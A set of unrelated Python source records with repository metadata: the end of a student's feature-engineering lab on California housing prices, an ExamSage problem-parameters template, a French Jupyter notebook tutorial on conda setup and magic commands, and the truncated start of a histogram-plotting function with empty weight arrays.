series.apply(lambda x:((x - min_val) / scale))\n\n# Perform log scaling\ndef log_scale(series):\n  return series.apply(lambda x:math.log(x+1.0))\n\n# Clip all features to given min and max\ndef clip(series, clip_to_min, clip_to_max):\n  # You need to modify this to actually do the clipping versus just returning\n  # the series unchanged.\n  return series.apply(lambda x: np.clip(x, clip_to_min, clip_to_max))\n\n\"\"\"You can use this function to draw a histogram to help decide what kind of scaling is best to use for `households` and also to confirm your implementation of `clip` works as you intended.\"\"\"\n\nclip_min = -np.inf\nclip_max = np.inf\n\ndef draw_histograms(dataframe, feature_name,\n                    clip_min = -np.inf, clip_max = np.inf):\n  plt.figure(figsize=(20, 4))\n  plt.subplot(1, 3, 1)\n  plt.title(feature_name)\n  histogram = dataframe[feature_name].hist(bins=50)\n\n  plt.subplot(1, 3, 2)\n  plt.title(\"linear_scaling\")\n  scaled_features = pd.DataFrame()\n  scaled_features[feature_name] = linear_scale(\n      clip(dataframe[feature_name], clip_min, clip_max))\n  histogram = scaled_features[feature_name].hist(bins=50)\n  \n  plt.subplot(1, 3, 3)\n  plt.title(\"log scaling\")\n  log_normalized_features = pd.DataFrame()\n  log_normalized_features[feature_name] = log_scale(dataframe[feature_name])\n  histogram = log_normalized_features[feature_name].hist(bins=50)\n  \ndraw_histograms(training_examples, 'households')\ndraw_histograms(training_examples, 'median_income')\ndraw_histograms(training_examples, 'rooms_per_person')\ndraw_histograms(training_examples, 'bedrooms_per_person')\ndraw_histograms(training_examples, 'rooms_per_household')\ndraw_histograms(training_examples, 'bedrooms_per_household')\n\nprint \"Now let's clip between 0 and 1000 before scaling.\"\ndraw_histograms(training_examples, 'households', 0, 3000)\ndraw_histograms(training_examples, 'median_income', 0, 15)\ndraw_histograms(training_examples, 'rooms_per_person', 0, 10)\ndraw_histograms(training_examples, 'bedrooms_per_person', 0, 2)\ndraw_histograms(training_examples, 'rooms_per_household', 0, 10)\ndraw_histograms(training_examples, \"bedrooms_per_household\", 0, 5)\n\n\"\"\"The leftmost histogram is unchanged since that just shows the raw feature.  You should see a very visible change when you clip the feature before applying linear scaling. As you will often (but not always) find, for this particular feature log scaling worked well without the need to first clip the data.\n\n**Run the above code with features other than `households` to help decide what feature normalization to use for each feature.**  Feel free to duplicate the code box that calls `draw_histogram` if you'd like to show the histograms for multiple features.\n\n## Task 3: Train the Best Model You Can (3 points)\n\nWe expect you to take some time exploring the feature transformations and hyperparameters.\n\nSelect any number of the provided features, create synthetic features you think will be informative, and modify the hyperparmaters to get a better model. You will want to edit preprocess_features to do some feature normalization like you saw in the [Using Multiple Numerical Features and Feature Scaling](https://colab.research.google.com/notebook#fileId=/v2/external/notebooks/intro_to_ml_semester_course/Lab_3__Using_Multiple_Numerical_Features_and_Feature_Scaling.ipynb). See how well you are able to do.\n\n**DO NOT APPLY ANY ADDITIONAL FEATURE TRANSFORMATION TO THE TARGET `median_price` since that would change the scale for RMSE.**\n\n* Summarize the changes you made that were the most important.\n  \n* Once you find a model, try training 20 times more steps.  Does overfitting occur if you do that?\n\"\"\"\n\ndef prepare_features(dataframe):\n  \"\"\"Prepares the features for provided dataset.\n\n  Args:\n    dataframe: A Pandas DataFrame expected to contain data from the\n      desired data set.\n  Returns:\n    A new dataFrame that contains the features to be used for the model.\n  \"\"\"\n  processed_features = dataframe.copy()\n  \n  # Modifying median_house_value to be in scale of $1000.  So a value of 14.0\n  # will correspond to $14,000.  This will make it a bit easier to work with.\n  processed_features[\"median_house_value\"] /= 1000.0\n  \n  # Perform your feature scaling here\n  processed_features[\"households\"] = linear_scale(dataframe[\"households\"])\n  processed_features[\"median_income\"] = linear_scale(dataframe[\"median_income\"])\n  \n  # Add your synthetic features here along with the feature scaling you'd like\n  # to them. As a starting point linear scaling is used for rooms_per_person. \n  # You are encouraged to experiment with different scaling options.\n  processed_features[\"rooms_per_person\"] = linear_scale(dataframe[\"total_rooms\"] / dataframe[\"population\"])\n  processed_features[\"bedrooms_per_person\"] = linear_scale(dataframe[\"total_bedrooms\"] / dataframe[\"population\"])\n  processed_features[\"rooms_per_household\"] = linear_scale(dataframe[\"total_rooms\"] / dataframe[\"households\"])\n  processed_features[\"bedrooms_per_household\"] = linear_scale(dataframe[\"total_bedrooms\"] / dataframe[\"households\"])\n  \n  return processed_features\n\n# Generate the training, validation and test examples\ncalifornia_housing_dataframe = california_housing_dataframe.sample(frac=1).reset_index(drop=True)\ntraining_examples = prepare_features(california_housing_dataframe.head(14000))\nvalidation_examples = prepare_features(california_housing_dataframe.tail(3000))\ntest_examples = prepare_features(california_housing_test_data)\n\ntraining_examples.describe()\n\n\"\"\"Here's the method to train the model.  You'l need to fill in the features you want to use.\"\"\"\n\n# Fill in the features you want to use\nNUMERICAL_FEATURES = [\"rooms_per_person\", \"bedrooms_per_person\", \"housing_median_age\", \"median_income\",\"rooms_per_household\", \"bedrooms_per_household\"]\nLABEL = \"median_house_value\"\n\nLEARNING_RATE = 0.025\nSTEPS = 100\n\nlinear_regressor = define_linear_regression_model(learning_rate = LEARNING_RATE)\nlinear_regressor = train_model(linear_regressor, steps=STEPS)\n\n\"\"\"You can look at the weights of the trained model.\"\"\"\n\n# Let's also look at the weights and bias\nfor feature in NUMERICAL_FEATURES:\n  print \"weight for\", feature, \":\", linear_regressor.get_variable_value(\n    \"linear/\" + feature + \"/weight\")[0]\nprint \"bias:\",  linear_regressor.get_variable_value(\"linear/bias_weight\")\n\n\"\"\"Check the loss on the test data after you are done selecting the learning rate and number of steps to run.\"\"\"\n\nprint \"loss on test data is\", compute_loss(\n    linear_regressor, test_input_fn, test_examples[LABEL])\n\n\"\"\"Here's a code box for you to train your model with the same learning rate that worked best but to see what happens if you train it 20 times longer.\"\"\"\n\n# Fill in the features you want to use\nNUMERICAL_FEATURES = [\"rooms_per_person\", \"bedrooms_per_person\", \"housing_median_age\", \"median_income\",\"rooms_per_household\", \"bedrooms_per_household\"]\nLABEL = \"median_house_value\"\n\nLEARNING_RATE = 0.025\nSTEPS = 2000\n\nlinear_regressor = define_linear_regression_model(learning_rate = LEARNING_RATE)\nlinear_regressor = train_model(linear_regressor, steps=STEPS)\n\n\"\"\"\nHere's a place for you to answer these questions:\n\n\nA) Summarize the changes you made that were the most important.\n\n    Answer:\n\n    *Selected the new features because usually when a person looks to buy a house, they look at the room available for a person so I added synthetic features rooms_per_person, bedroom_per_person.**\n    **I also added rooms_per_household as it is important and used linear scaling for all of them as the histograms clearly show that linear scaling provided better data estimation**\n\nB) Once you find a model, try training 20 times more steps.  Does overfitting\n   occur if you do that?\n\n  Answer:\n  \n   Yes overfitting occurs if you try training 20 times more steps. This can be seen from the differece in the training and validation losses between the first and the second graphs.\n   The difference is greater in the second graph.\n\"\"\"", "meta": {"hexsha": "4fac6f016a60389de11c5d868e2eddeb58a02fb2", "size": 24014, "ext": "py", "lang": "Python", "max_stars_repo_path": "swapnil_tamrakar_lab_7_feature_engineering_creating_synthetic_features.py", "max_stars_repo_name": "swappy208/Artificial-Intelligence-Computational-Model", "max_stars_repo_head_hexsha": "fbbbf13fe3912243645f22cc9724721ca3c23162", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "swapnil_tamrakar_lab_7_feature_engineering_creating_synthetic_features.py", "max_issues_repo_name": "swappy208/Artificial-Intelligence-Computational-Model", "max_issues_repo_head_hexsha": "fbbbf13fe3912243645f22cc9724721ca3c23162", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "swapnil_tamrakar_lab_7_feature_engineering_creating_synthetic_features.py", "max_forks_repo_name": "swappy208/Artificial-Intelligence-Computational-Model", "max_forks_repo_head_hexsha": "fbbbf13fe3912243645f22cc9724721ca3c23162", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 44.1433823529, "max_line_length": 507, "alphanum_fraction": 0.7579745149, "include": true, "reason": "import numpy", "num_tokens": 5427, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO\n\n", "lm_q1_score": 0.46101677931231594, "lm_q2_score": 0.1645164608483867, "lm_q1q2_score": 0.07584484892418396}}
{"text": "########################################################################3456789\n########################################################################72\nfrom examsage import Macros # Import the parent class for Parameters\nimport numpy as np\n\nclass Parameters(Macros):\n    def __init__(self):\n        ## General note about variable names in Python\n        # - `self` refers to this problem object\n        # - `self.variable_name = value` is a variable that is attached to\n        # this problem and will keep its value as long as the problem object\n        # exists in memory. These are called object attributes.\n        # - `variable_name = value` is a temporary variable useful for local\n        # calculations.\n        # - `def method_name(self, arguments)` is a function that is\n        # attached to this object. These are called object methods. Methods\n        # are usually named without double underscores. Methods named with\n        # double underscores play a special role in Python.\n\n        ## Note about variable names in ExamSage\n        # - All TeX parameters **must** use the `self.` prefix\n        # - Problem objects **must** define the methods __init__ and __next__.\n        # - Helper methods should be named **without** double underscores\n\n        ## Required attributes\n        # List the variables names that must be converted into tex macros\n        # as strings without the `self.` prefix\n        # EXAMPLE:\n        #     self.par_names = ['constant_par_name', 'varying_par_name']\n        self.par_names = []\n\n        # Set the minimum height for this problem.\n        # Minimum heights should be strings with units supported by LaTeX\n        #     https://www.overleaf.com/learn/latex/Lengths_in_LaTeX\n        self.min_height = '2in'\n\n        ## OPTIONAL: Generate constant parameters\n        # In order to generate problems of similar difficulty, it is\n        # sometimes helpful to have parameters that are constant\n        # between versions. Parameters that are generated inside of\n        # this initialization method, will be generated when the problem\n        # object is created\n        #    `problem = examsage.Problem()`\n        # but will not be affected by\n        #    `next(problem)`\n        # EXAMPLE:\n        #     self.constant_par_name = parameter_value\n        pass\n\n        ## Don't edit below this line\n        # Generate varying parameters\n        next(self)\n\n    def __next__(self):\n        ## REQUIRED: Generate varying parameters\n        # Set the values of the TeX parameters\n        # EXAMPLE:\n        #     self.varying_par_name = parameter_value\n\n\n        ## Don't edit below this line\n        return self", "meta": {"hexsha": "5caad57a73c1a05b1064fd7f5144d28cacc30426", "size": 2662, "ext": "py", "lang": "Python", "max_stars_repo_path": "examsage/default_problem/parameters.py", "max_stars_repo_name": "MetaMichael/examsage", "max_stars_repo_head_hexsha": "90478b1ce68af52bb66b44f38348fd2556c286d9", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "examsage/default_problem/parameters.py", "max_issues_repo_name": "MetaMichael/examsage", "max_issues_repo_head_hexsha": "90478b1ce68af52bb66b44f38348fd2556c286d9", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "examsage/default_problem/parameters.py", "max_forks_repo_name": "MetaMichael/examsage", "max_forks_repo_head_hexsha": "90478b1ce68af52bb66b44f38348fd2556c286d9", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 42.935483871, "max_line_length": 79, "alphanum_fraction": 0.6111945905, "include": true, "reason": "import numpy", "num_tokens": 540, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4921881357207956, "lm_q2_score": 0.15405755686555633, "lm_q1q2_score": 0.07582530170735863}}
{"text": "# -*- coding: utf-8 -*-\n# ---\n# jupyter:\n#   jupytext:\n#     cell_metadata_filter: -all\n#     formats: py:light,notebooks//ipynb\n#     text_representation:\n#       extension: .py\n#       format_name: light\n#       format_version: '1.5'\n#       jupytext_version: 1.6.0\n#   kernelspec:\n#     display_name: Python 3\n#     language: python\n#     name: python3\n# ---\n\n# # Jupyter\n#\n# ## Installation\n#\n# Pour construire note site, nous avez besoin d'une distribution Python. [Miniconda](https://conda.io/miniconda.html) est une solution l\u00e9g\u00e8re permettant d'installer tous les packages n\u00e9cessaires.\n#\n# Une fois installer miniconda en ayant suivi les instructions, ouvrez un terminal sur Linux/Macos ou un anaconda prompt sur Windows.\n#\n\n# ### Environnement conda\n#\n# ```bash\n# git clone https://github.com/M2MAS-AGROCAMPUS/git-markdown-docker\n# # cd git-markdown-docker\n# conda env create -n agrocampus\n# ```\n#\n# [documentation](https://conda.io/docs/using/envs.html).\n#\n# L'environnement est cr\u00e9\u00e9 a partir d'un fichier nomm\u00e9 `environment.yml` qui contient la liste des packages dont nous avons besoin.\n\n# ### Activer l'environnement conda\n#\n# Lorsque vous activer l'environement conda, votre configuration du terminal est modifi\u00e9e et la version\n# de python qui sera disponible sera celle ou tous nos packages seront install\u00e9s.\n# <pre>\n# $ conda activate agrocampus\n# (agrocampus) $ python\n# Python 3.6.2 (default, Jul 17 2017, 16:44:45) \n# [GCC 4.2.1 Compatible Apple LLVM 8.1.0 (clang-802.0.42)] on darwin\n# Type \"help\", \"copyright\", \"credits\" or \"license\" for more information.\n# >>> quit()\n# </pre>\n#\n\n# ## Jupyter Notebook\n#\n# - Le calepin Jupyter est un outil de r\u00e9daction qui permet de partager une analyse math\u00e9matique. \n# - Rassembler du code informatique, du texte, des images et des formules math\u00e9matiques dans un seul document. \n# - Le code informatique est modifiable et ex\u00e9cutable. \n# - Excellent support pour travailler et surtout pour partager.\n# - Jupyter comporte de nombreuses extensions et supporte [un nombre important de langages](https://github.com/jupyter/jupyter/wiki/Jupyter-kernels). \n# - Logiciel libre, ouvert et totalement gratuit qui fonctionne sur tous les syst\u00e8mes d'exploitation existants.\n#\n# Jupyter est un acronyme des 3 langages support\u00e9s \u00e0 l'origine du projet: **JU**lia, **PYT**hon, et **R**\n\n# ```bash\n# conda install -c conda-forge jupyter\n# ```\n\n# ## Raccoucis clavier\n#\n# - Pour afficher les commandes disponibles: `Cmd + Shift + P`\n# - Ex\u00e9cuter une cellule\n#     - 'Cmd-Enter' ex\u00e9cute la cellule courante \n#     - 'Shift-Enter' ex\u00e9cute la cellule courante et passe \u00e0 la suivante\n#     - 'Alt-Enter' ex\u00e9cute la cellule et cr\u00e9e une nouvelle en dessous.\n#     \n#\n# - `Esc` permet de basculer en mode \"commande\" et vous pouvez naviguer dans le document avec les fl\u00e8ches de votre clavier. En mode \"commande\":\n#    - `A` permet d'ins\u00e9rer une nouvelle cellule **au dessus** de la cellule active\n#    - `B` permet d'ins\u00e9rer une nouvelle cellule **en dessous** de la cellule active\n#    - `M` bacule en mode texte (markdown), `Y` pour revenir au code\n#    - `D + D` en pressant deux fois ce caract\u00e8re vous effacez la cellule courante\n# - \"Shift-Ctrl-M\" permet de couper une cellule en deux au niveau du curseur.\n\n# ## Installation de packages Python dans Jupyter \n#\n# ### Avec conda\n#\n# Pour installer `numpy` du canal *conda-forge*\n# ```ipython\n# # %conda install -c conda-forge numpy\n# ```\n#\n# ### Avec pip\n#\n# ```ipython\n# # %pip install numpy\n# ```\n\n# ## Documentation\n#\n# - Shift + Tab donne acc\u00e8s \u00e0 la documentation des fonctions\n\ndict\n\n# Si vous passez la cellule suivante en *Code* et l'ex\u00e9cutez, la documentation appara\u00eet dans le *pager*\n\n# ?dict\n\n# ## Graphique (en python)\n#\n# la premi\u00e8re ligne de la cellule suivante permet de tracer vos graphiques juste apr\u00e8s l\"\u00e9x\u00e9cution de la c\u00e9llule.\n\n# %matplotlib inline\n# %config InlineBackend.figure_format = 'retina'\nimport matplotlib.pyplot as plt\nimport numpy as np\n\n# +\nplt.rcParams['figure.figsize'] = (10,6)\nfig, ax = plt.subplots()\nnp.random.seed(0)\nx, y = np.random.normal(size=(2, 200))\ncolor, size = np.random.random((2, 200))\n\nax.scatter(x, y, c=color, s=500 * size, alpha=0.3)\nax.grid(color='lightgray', alpha=0.7)\n# -\n\n# ## Les commandes magiques\n\n# %lsmagic\n\n# %ls\n\n# +\n# %%file sample.txt\n\nwrite the cell content to the file sample.txt.\nThe file is created when you run this cell.\n# -\n\n# %cat sample.txt\n\n# +\n# %%file fibonacci.py\n\nf1, f2 = 1, 1\nfor n in range(10):\n    print(f1, end=',')\n    f1, f2 = f2, f1+f2\n# -\n\n# %run fibonacci.py\n\n# +\n# # %load fibonacci.py\n\nf1, f2 = 1, 1\nfor n in range(10):\n    print(f1, end=',')\n    f1, f2 = f2, f1+f2\n\n# -\n\n# %%time\nf1, f2 = 1, 1\nfor n in range(10):\n    print(f1, end=',')\n    f1, f2 = f2, f1+f2\nprint()\n\n# %who int\n\nimport numpy as np\n# %timeit np.random.normal(size=100)\n\nfrom time import sleep\ndef fibonacci(n):\n    f1, f2 = 1, 1\n    res = []\n    for i in range(n):\n        sleep(0.1)\n        f1, f2 = f2, f1+f2\n        res.append(f1)\n    return res\n\n\nimport IPython.core\nIPython.core.page = print\n\n\n# %prun -q -T prof.txt fibonacci(10)\n\n# %cat prof.txt\n\n# %load_ext heat\n\n# +\n# %%heat\n\ndef fibonacci(n):\n    f1, f2 = 1, 1\n    res = []\n    for i in range(n):\n        f1, f2 = f2, f1+f2\n        res.append(f1)\n    return res\n\nfibonacci(100)\n\n# +\nfrom tqdm.notebook import tqdm\nfrom time import sleep\n\nn = 10\nres = [1]\n\nfor x in tqdm(range(2, n)):\n    sleep(0.5)\n    for i in range(2, x):\n        if (x % i) == 0:\n            break\n        else:\n            res.append(x)\n            break\n\nres\n# -\n\n# ## Interactivit\u00e9\n\n# +\nfrom ipywidgets import interact\n\n\n@interact(x=True, y=1.0)\ndef g(x, y):\n    return (x, y)\n\n\n# -\n\n@interact(tau=(0.01, 0.2, 0.01))\ndef f(tau):\n    plt.figure(2)\n    t = np.linspace(0, 1, num=1000)\n    plt.plot(t, 1 - np.exp(-t/tau), t,  np.exp(-t/tau))\n    plt.xlim(0, 1)\n    plt.ylim(0, 1)\n\n\n# -\n\n# ## Remarques importantes\n#\n# - Un calepin Jupyter n'est pas vraiment un programme Python\n# - Il s'agit d'une suite d'instructions ex\u00e9cut\u00e9es dans un ordre particulier avec \u00e9ventuellement des r\u00e9p\u00e9titions.\n# - Avant de partager un notebook, il est pr\u00e9f\u00e9rable d'aller dans l'onglet `Kernel` et cliquer sur `Restart & Run All` et v\u00e9rifier que tout ce passe bien.\n#\n# ![](images/joelgrus_tweet.png)\n#\n# [@joelgrus](https://twitter.com/joelgrus/status/1290072502060740610?s=20)\n", "meta": {"hexsha": "48ab7a30d039aee834b874beb259a41f8d76e0da", "size": 6339, "ext": "py", "lang": "Python", "max_stars_repo_path": "01-jupyter.py", "max_stars_repo_name": "M2MAS-AGROCAMPUS/git-markdown-docker", "max_stars_repo_head_hexsha": "dba947c26f169684d3f7e4edad08322315a62847", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "01-jupyter.py", "max_issues_repo_name": "M2MAS-AGROCAMPUS/git-markdown-docker", "max_issues_repo_head_hexsha": "dba947c26f169684d3f7e4edad08322315a62847", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "01-jupyter.py", "max_forks_repo_name": "M2MAS-AGROCAMPUS/git-markdown-docker", "max_forks_repo_head_hexsha": "dba947c26f169684d3f7e4edad08322315a62847", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 24.102661597, "max_line_length": 195, "alphanum_fraction": 0.6661934059, "include": true, "reason": "import numpy", "num_tokens": 2001, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.3702253786982541, "lm_q2_score": 0.20434190478229486, "lm_q1q2_score": 0.07565255908194769}}
{"text": "def selection_3():\n\n    # Library import\n    import numpy\n    import matplotlib\n    import matplotlib.pyplot   as plt\n    import matplotlib.gridspec as gridspec\n\n    # Library version\n    matplotlib_version = matplotlib.__version__\n    numpy_version      = numpy.__version__\n\n    # Histo binning\n    xBinning = numpy.linspace(-3.2,3.2,65,endpoint=True)\n\n    # Creating data sequence: middle of each bin\n    xData = numpy.array([-3.15,-3.05,-2.95,-2.85,-2.75,-2.65,-2.55,-2.45,-2.35,-2.25,-2.15,-2.05,-1.95,-1.85,-1.75,-1.65,-1.55,-1.45,-1.35,-1.25,-1.15,-1.05,-0.95,-0.85,-0.75,-0.65,-0.55,-0.45,-0.35,-0.25,-0.15,-0.05,0.05,0.15,0.25,0.35,0.45,0.55,0.65,0.75,0.85,0.95,1.05,1.15,1.25,1.35,1.45,1.55,1.65,1.75,1.85,1.95,2.05,2.15,2.25,2.35,2.45,2.55,2.65,2.75,2.85,2.95,3.05,3.15])\n\n    # Creating weights for histo: y4_PT_0\n    y4_PT_0_weights = numpy.array([0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0])\n\n    # Creating weights for histo: y4_PT_1\n    y4_PT_1_weights = numpy.array([0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0])\n\n    # Creating weights for histo: y4_PT_2\n    y4_PT_2_weights = numpy.array([0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0])\n\n    # Creating weights for histo: y4_PT_3\n    y4_PT_3_weights = numpy.array([0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0])\n\n    # Creating weights for histo: y4_PT_4\n    y4_PT_4_weights = numpy.array([0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0])\n\n    # Creating weights for histo: y4_PT_5\n    y4_PT_5_weights = numpy.array([0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0])\n\n    # Creating weights for histo: y4_PT_6\n    y4_PT_6_weights = numpy.array([0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0])\n\n    # Creating weights for histo: y4_PT_7\n    y4_PT_7_weights = numpy.array([0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0])\n\n    # Creating weights for histo: y4_PT_8\n    y4_PT_8_weights = numpy.array([0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0])\n\n    # Creating weights for histo: y4_PT_9\n    y4_PT_9_weights = numpy.array([0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0])\n\n    # Creating weights for histo: y4_PT_10\n    y4_PT_10_weights = numpy.array([0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0])\n\n    # Creating weights for histo: y4_PT_11\n    y4_PT_11_weights = numpy.array([0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0])\n\n    # Creating weights for histo: y4_PT_12\n    y4_PT_12_weights = numpy.array([0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0])\n\n    # Creating weights for histo: y4_PT_13\n    y4_PT_13_weights = numpy.array([0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0])\n\n    # Creating weights for histo: y4_PT_14\n    y4_PT_14_weights = 